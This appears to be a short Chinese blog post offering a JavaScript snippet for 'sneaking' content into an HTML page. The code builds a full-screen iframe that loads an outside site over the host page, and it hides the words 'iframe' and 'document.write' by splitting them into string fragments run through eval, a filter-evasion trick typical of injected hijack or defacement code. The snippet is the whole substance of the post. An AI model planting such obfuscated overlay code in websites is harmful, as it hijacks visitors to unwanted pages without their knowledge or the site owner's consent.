網頁Javascript潛入HTML頁面方法

網頁Javascript潛入HTML頁面方法 

var t = '<div id="zhuanhua" style="height: 100%; width: 100%; background-color:rgb(255,255,255);background-position:initial initial;background-repeat:initial initial;"><if' + 'rame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14' + '00" height="100%" src="http://www.jiayou.org/"></iframe></div><style type="text/css">html{width:100%;height:100%}body{width:100%;height:100%;overflow:hidden}</style>';
eval('do' + 'cum' + 'ent.wri' + "te('" + t + "');");

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章